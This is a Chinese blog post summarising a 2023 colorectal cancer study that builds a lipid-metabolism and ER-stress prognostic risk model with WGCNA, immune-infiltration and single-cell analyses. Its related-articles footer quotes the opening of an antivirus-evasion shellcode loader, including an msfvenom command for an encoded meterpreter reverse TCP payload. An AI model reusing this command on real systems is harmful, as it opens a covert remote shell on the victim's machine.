脂质代谢+预后模型+WGCNA+单细胞多种要素分析

news2025/9/21 0:20:34
今天给同学们分享一篇脂质代谢+预后模型+WGCNA+单细胞的生信文章“A Novel Lipid Metabolism and Endoplasmic Reticulum Stress-Related Risk Model for Predicting Immune Infiltration and Prognosis in Colorectal Cancer”,这篇文章于2023年9月8日发表在Int Mol Sci期刊上,影响因子为5.6。
768cf968e0177b0fad007fc03e968440.jpeg

大肠癌(CRC)已成为第三大常见癌症和第二大癌症相关死亡原因[1]。不幸的是,约 20% 的 CRC 病例在确诊时已有转移[ 2]。由于手术方法、抗肿瘤药物和其他卓越治疗策略的进步,CRC 患者的临床治疗效果明显改善[3]。与传统化疗和靶向治疗相比,免疫疗法具有多种优势,包括持久的免疫反应、较少的副作用以及延长 DNA 错配修复缺陷或微卫星不稳定的转移性 CRC 患者的无进展生存期[4, 5]。然而,其中一些患者很快就会进入免疫抵抗阶段[6]。


1.探索 CRC 中差异表达的 LERGs

使用 "limma "R软件包鉴定差异基因,选择标准为p值< 0.05 and |FoldChange| > 1.5(|log 2 FoldChange| > 0.585)[ 25]。结果发现了 4940 个在 CRC 发展过程中表现出差异表达的关键基因,包括 2325 个上调基因和 2615 个下调基因(图 1A)。从 ER 应激和脂质代谢基因集中提取相关性得分大于 5 的基因,并与差异基因进行交叉,得到 271 个交叉基因(图 1B)。随后,Cox 比例-危害模型确定了 28 个对预后有意义的基因(p 值小于 0.05)(图 1C)。图1 基于差异表达的 LEGRs 构建预后特征

c94c03bcc2d6d6008ca0889f892739df.jpeg

图1 基于差异表达的 LEGRs 构建预后特征


2.预后模型的构建

为了进一步确定预后基因集中的关键基因,作者收集了 CRC 患者的临床信息,并利用 lasso 回归筛选特征基因(图 1D-F)。TCGA 中的患者按 4:1 的比例随机分配到训练数据集和测试数据集。该风险模型用于预测肿瘤内的 ER 应激和脂质代谢水平。根据每个样本的中位风险评分,将患者分为高风险组和低风险组,并使用 Kaplan-Meier 曲线分析生存结果。在TCGA训练数据集(p < 0.001)和测试数据集(p = 0.016)中,高风险组的总生存期(OS)明显低于低风险组。此外,TCGA训练数据集和测试数据集的ROC曲线结果表明该模型具有良好的预测性能(图2A,B)。

5302cafd64445ae7058d7e91c18d1b35.jpeg

图2 评估风险模型预测患者生存率的效率


3.多个外部数据集对预后模型的验证

从 GEO 数据库中下载了 CRC 患者的生存信息数据(GSE12945、GSE17536)。根据中位风险评分,将验证数据集中的患者分为高风险组和低风险组进行生存分析。结果显示,在外部验证数据集GSE12945(p = 0.002)和GSE17536(p = 0.042)中,高风险组的生存率明显低于低风险组。为了验证模型的准确性,作者使用外部数据集对该模型进行了 ROC 曲线分析。结果表明,该模型对 CRC 患者的预后具有很强的预测性能和稳定性(图 2C,D)。


4.发病风险和独立预后分析

通过单变量分析(HR = 3.628 (2.687-4.898),p < 0.001)和多变量分析(HR = 3.006 (2.129-4.244),p < 0.001),发现风险评分是 CRC 患者的独立预后因素(图 3A、B)。结果以提名图的形式呈现(图 3C)。此外,还对 CRC 的 3 年期和 5 年期进行了预测分析,结果显示提名图具有很强的验证性能和预测准确性(图 3D-F)。

8de8b365c619cdc7885477a5995fd4e3.jpeg

图3 构建评估患者生存期的预测提名图


5.疾病风险评分与多个临床指标的相关性分析

根据临床指标,将样本相关风险评分值分配到不同组别。经 Wilcoxon 检验发现,在临床指标(如分期、T、M 和 N)中,风险分值的分布显示出显著的组间差异(P < 0.05)(图 4)。这些结果表明,所构建的风险评分模型在显示 CRC 样本的分类方面具有良好的临床适用性。

58e99cb6dede741af332bdbfc3c570ee.jpeg

图4 风险评分与多个临床指标的相关性


6.CRC 的突变情况和肿瘤突变负荷 (TMB)

研究还进一步探讨了高风险组和低风险组患者的基因突变情况。研究结果表明,与低风险组相比,高风险组患者APC等基因的突变率明显较低(76% vs. 82%),而TP53和APC基因的突变率似乎高于低风险组(图5A,B)。随后进行了生存分析,将TMB和微卫星不稳定性(MSI)与风险评分相关联,结果见相应的图(图5C,D)。

3bfa8dac686cb8975745a0f36f8b7113.jpeg

图5 图表格式相同


7.风险模型的药物敏感性和分子途径

手术治疗联合化疗已被证明对早期 CRC 有效。作者的研究结果表明,风险评分与对16种特定化疗药物的敏感性之间存在明显的相关性。低风险组患者对丝裂霉素 C、吉西他滨、AKT 抑制剂 VIII 和 Tipifarnib 的敏感性较高。另一方面,高风险组患者对多西他赛、吉非替尼、帕佐帕尼和雷帕霉素的敏感性更高(图 6A)。随后的分析侧重于特定的信号通路,以探索风险评分影响肿瘤进展的潜在分子机制。GSVA分析显示,两个患者队列之间的主要分歧通路主要存在于肌生成、表皮间质转换和髓鞘连接信号通路中(图6B)。GSEA分析显示,PI3K-Akt和Rap1信号通路在高风险组明显富集,而核苷酸代谢通路在低风险组富集(图6C)。

1f970c0cd63b451b9541cf58e1e90622.jpeg

图6 风险模型的药物敏感性和分子途径


8.风险模型与免疫微环境之间的关系

TME主要由癌症相关成纤维细胞、免疫细胞、细胞外基质以及各种信号、分子和癌细胞组成,对肿瘤的诊断、预后和治疗敏感性有重要影响[27]。本研究进一步探讨了风险模型与 TME 中免疫浸润之间的关系。与不同风险组的免疫浸润相比,本研究发现高风险组的 T 细胞 CD4 +&nbsp;记忆静息和 T 细胞 CD4 +&nbsp;记忆激活明显减少。相反,天真 B 细胞、调节性 T 细胞(Tregs)和 M0 巨噬细胞则明显增加(图 7A)。风险评分与免疫细胞含量之间的相关性分析强调了与 M0 巨噬细胞和幼稚 B 细胞的显著正相关性,以及与静息和活化记忆 CD4 + T 细胞的负相关性(图 7B)。T 细胞呈负相关(图 7B)。此外,脂质代谢/ER 应激基因组与免疫浸润之间的相关性也通过 ssGSEA 得到了说明。肿瘤样本中的 M2 巨噬细胞和幼稚 B 细胞与脂质代谢/ER 应激水平呈正相关。相反,NK 细胞和 CD8 + T 细胞则显示出负相关。T细胞呈负相关(图7D)。这表明,在脂质代谢/ER应激水平升高的情况下,TME主要表现出免疫抑制表型,这与作者的风险模型的免疫浸润分析一致。作者对免疫调节基因进行了进一步分析,结果显示了高风险组和低风险组之间免疫相关抑制因子和细胞因子的表达差异(图 7E,F)。最后,对肿瘤免疫疗法的敏感性进行了预测,结果显示高风险组对免疫疗法的反应较差(图 7C)。

975046e988e7d75e720123c4aa734e32.jpeg

图7 低风险组和高风险组之间不同的免疫景观


9.构建 WGCNA 共表达网络并分析关键基因的上游机制

为了进一步确定与结直肠癌相关的关键基因,作者根据结直肠癌转录组采用了 WGCNA 来阐明相关的共表达调控网络[28]。软阈值 β 设为 6(图 8A,B),通过 TOM 共鉴定出 8 个基因模块(图 8C,D)。这些模块包括黑色(99)、蓝色(1052)、棕色(610)、绿色(454)、灰色(569)、红色(176)、绿松石色(1572)和黄色(468)模块。棕色模块的相关性最高(cor = 0.49,p = (5 × 10&nbsp;−37 )。将棕色模块中的基因与 18 个模型基因交叉后,确定了 6 个基因作为进一步研究的关键候选基因(图 8E),即 MMP3、SPP1、APOE、CAV1、TIMP1 和 AGRN。随后的 PPI 网络分析显示了这些关键基因之间的相互作用(图 8F)。还对关键基因的上游转录因子(TF)进行了分析。结果表明,MOTIF注释 cisbp_M5419 的 NES 为 4.9,三个关键基因富集在这一主题中。图 8G 中显示了与关键基因相关的前六个主题及其相应的 TF。

e653df897d2ef8b5ea062997edb00e4c.jpeg

图8 WGCNA 共表达网络的构建及关键基因的上游机制分析


10.在 CRC 临床样本中验证关键基因

最后,作者利用定量实时聚合酶链反应qRT-PCR和HPA数据库中的病理切片图像对12对临床样本的基因表达进行了探讨(图9A-E)。在这六个中心基因中,与正常组织相比,AGRN、SPP1、MMP3 和 TIMP1 在 CRC 组织中的表达明显升高。此外,CAV1 在 RNA 和蛋白水平上的表达都明显下降。虽然 APOE 在 qRT-PCR 中未显示出明显变化,但蛋白水平却显示出下降趋势,这与 TCGA 分析结果一致。

a83b9f1eccdf785078d7b4b230aeef9d.jpeg

图9 验证 CRC 临床样本中的关键基因


11.CRC 免疫格局和基因表达的单细胞分析

使用 t-SNE 算法对细胞进行聚类,最终确定了 17 个亚型(图 10A)。利用 R 软件包 "SingleR "对每个亚型进行注释,17 个聚类属于 9 个细胞类别:T细胞、B细胞、上皮细胞、单核细胞、中性粒细胞、组织干细胞、巨噬细胞、NK细胞和内皮细胞(图10B)。六种中心基因在这九种细胞类型中的表达情况直观可见(图 10G)。研究发现,在高风险组和低风险组中,这些细胞亚型之间存在着错综复杂的相互作用模式。研究发现,在两个风险组中,巨噬细胞与其他细胞的潜在相互作用最多(图 10C、D)。随后,利用 GeneCards 数据库获得了失败评分和细胞因子评分,并对高风险组和低风险组进行了比较。分析结果如图所示(图 10E、F)。

f91f18ce041a79b794501267faab9221.jpeg

图10 免疫图谱的单细胞分析


总结

总之,作者发现了 18 个与脂质代谢和 ER 应激相关的差异表达基因,并利用这些基因构建了一个风险模型。作者的风险模型与 CRC 患者的总生存期、抗肿瘤治疗效果和免疫浸润相关。这揭示了ER应激和脂质代谢水平的升高与CRC的免疫抑制状况和不良预后相关,为精准治疗提供了战略性启示。通过探索脂质代谢和ER应激的新方向,这项研究可以帮助制定个性化治疗策略,并为进一步研究CRC的免疫微环境奠定重要基础。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1086065.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在服务器上解压.7z文件

1. 更新apt sudo apt-get update2. 安装p7zip sudo apt-get install p7zip-full3. 解压.7z文件 7za x WN18RR.7z

ETL数据转换方式有哪些

ETL数据转换方式有哪些 ETL&#xff08;Extract&#xff0c; Transform&#xff0c; Load&#xff09;是一种常用的数据处理方式&#xff0c;用于从源系统中提取数据&#xff0c;进行转换&#xff0c;并加载到目标系统中。 数据清洗&#xff08;Data Cleaning&#xff09;&am…

github 中关于Pyqt 的module view 操作练习

代码摘自&#xff0c;Pyside6 中的示例代码部分 # -*- coding: utf-8 -*- import sys from PySide6.QtWidgets import * from PySide6.QtGui import * from PySide6.QtCore import * from PySide6.QtSql import QSqlDatabase, QSqlQueryModel, QSqlQuery import os os.chdir(os…

C++学习——“面向对象编程”的涵义

以下内容源于C语言中文网的学习与整理&#xff0c;非原创&#xff0c;如有侵权请告知删除。 类是一个通用的概念&#xff0c;C、Java、C#、PHP 等很多编程语言中都支持类&#xff0c;都可以通过类创建对象。我们可以将类看做是结构体的升级版&#xff0c;C语言的晚辈们看到了C…

Linux网络编程:UDP协议和TCP协议

目录 一. 对于端口号的理解 1.1 网络通信五元组 1.2 端口号的划分策略 二. 网络通信中常用的指令 2.1 netstat指令 2.2 pidof指令 三. udp协议 3.1 udp的概念及特点 3.2 udp协议端格式 3.3 对于面向数据报及应用层发送与读取数据的理解 四. tcp协议的概念及特点 五.…

智能指针简介

智能指针简介 文章目录 智能指针简介摘要什么是智能指针C 98 中的智能指针C 11 中的智能指针C 17 中的智能指针智能指针常用函数 关键字&#xff1a; 智能指针、 auto_ptr、 std::shared_ptr、 std::unique_ptr、 std::weak_ptr 摘要 之前基本都是学习的Qt版本的C&#x…

基于uniapp的商城外卖小程序

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

【数据结构-栈 二】【单调栈】每日温度、接雨水

废话不多说&#xff0c;喊一句号子鼓励自己&#xff1a;程序员永不失业&#xff0c;程序员走向架构&#xff01;本篇Blog的主题是【单调栈的应用】&#xff0c;使用【栈】这个基本的数据结构来实现&#xff0c;这个高频题的站点是&#xff1a;CodeTop&#xff0c;筛选条件为&am…

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes# msf生成的shellcode&#xff0c;命令&#xff1a;msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost192.168.111.111 lport80 -f py -o shell.py buf b"" buf b"\xeb\x27\x5b\x53\…

[Swift]同一个工程管理多个Target

1.准备 先创建一个测试工程“ADemo”&#xff0c;右键其Target选择Duplicate&#xff0c;再复制一个Target为“ADemo2”。 再选择TARGETS下方的“”&#xff0c;添加一个APP到项目中&#xff0c;这个命名为“BDemo”。 2、管理多个Target 可以对三个target分别导入不同的框…

SEO盲目优化带来的严重后果(警惕过度依赖SEO优化的风险)

SEO&#xff08;SearchEngineOptimization&#xff09;优化是提高网站在搜索引擎中排名&#xff0c;吸引更多流量的重要手段。但是&#xff0c;为了追求更高的排名和流量&#xff0c;很多企业或个人对SEO优化盲目依赖&#xff0c;而忽视了网站的质量与用户体验&#xff0c;这将…

python随手小练5

1、求1-100的累加和&#xff08;终止条件 1-100&#xff09;&#xff08;while和for两种&#xff09; #while循环 count 0 index 0 while index < 100:count indexindex 1 print(count)#for循环 sum 0 for i in range(0,101):sum i print(sum)结果&#xff1a; 5050 2…

Go If流程控制与快乐路径原则

Go if流程控制与快乐路径原则 文章目录 Go if流程控制与快乐路径原则一、流程控制基本介绍二、if 语句2.1 if 语句介绍2.2 单分支结构的 if 语句形式2.3 Go 的 if 语句的特点2.3.1 分支代码块左大括号与if同行2.3.2 条件表达式不需要括号 三、操作符3.1 逻辑操作符3.2 操作符的…

【Java 进阶篇】JavaScript二元运算符详解

JavaScript是一门多用途的编程语言&#xff0c;它支持各种运算符&#xff0c;包括二元运算符。二元运算符用于执行两个操作数之间的操作&#xff0c;这两个操作数通常是变量、值或表达式。在本篇博客中&#xff0c;我们将详细探讨JavaScript的二元运算符&#xff0c;包括它们的…

SpringCloud微服务(简略笔记一)

目录 介绍 ​编辑 认识微服务 单体架构 分布式架构 微服务分析&#xff1a; 分布式架构(SpringCloud微服务) 服务拆分与服务远程调用&#xff1a; 提供者与消费者 微服务治理 Eureka注册中心 操作步骤 Ribbon负载均衡 负载均衡流程 自定义负载均衡策略 饥饿加载 …

手把手改进yolo训练自己的数据(坑洼路面识别)

结果展示 在Pothole Detection数据集上对YOLOv7进行微调的步骤如下&#xff1a; 0 环境配置 if not os.path.exists(yolov7): !git clone https://github.com/WongKinYiu/yolov7.git %cd yolov7 !pip install -r requirements.txt数据集准备&#xff1a; 收集一个专门用于po…

栈的运行算法

一&#xff0c;顺序栈的静态分配 二&#xff0c;顺序栈的动态分配 #include<stdio.h> #include<stdlib.h> #define initsize 5 #define incresize 5typedef struct Sqstack{int *base;int *top;int stacksize; }Sqstack;void InitStack(Sqstack *s){(*s).base(int…

数字孪生技术:新零售的未来之路

随着科技的不断进步&#xff0c;新零售产业正经历着巨大的变革。数字孪生作为一种新兴技术正在加速这一变革的进程。它不仅为新零售企业带来了更高效的运营方式&#xff0c;还为消费者提供了更个性化、便捷的购物体验。那么&#xff0c;数字孪生技术究竟如何在新零售产业中发挥…

选择同步云盘工具?这些值得一试的优秀选择!

对于云盘用户而言&#xff0c;同步功能是影响产品选择的重要因素。在日常办公过程中&#xff0c;我们难免会遇到需要查看文件&#xff0c;但是存储文件的原设备不在身边的情况。这个时候同步云盘的重要性就显现出来了. 同步云盘的优势 文件同步&#xff1a;同步云盘可以将文件…

L05_SpringBoot入门

SpringBoot入门 浅谈Restful风格代码实现(并且通过Apifox进行接口测试[以传入json格式数据为例])首先创建一个SpringBoot项目,pom文件包引入如下下面在新建src创建com.ndky.controller包,然后再在包内创建一个HelloController类编写(一个简易的restful风格的代码)编写GET请求代…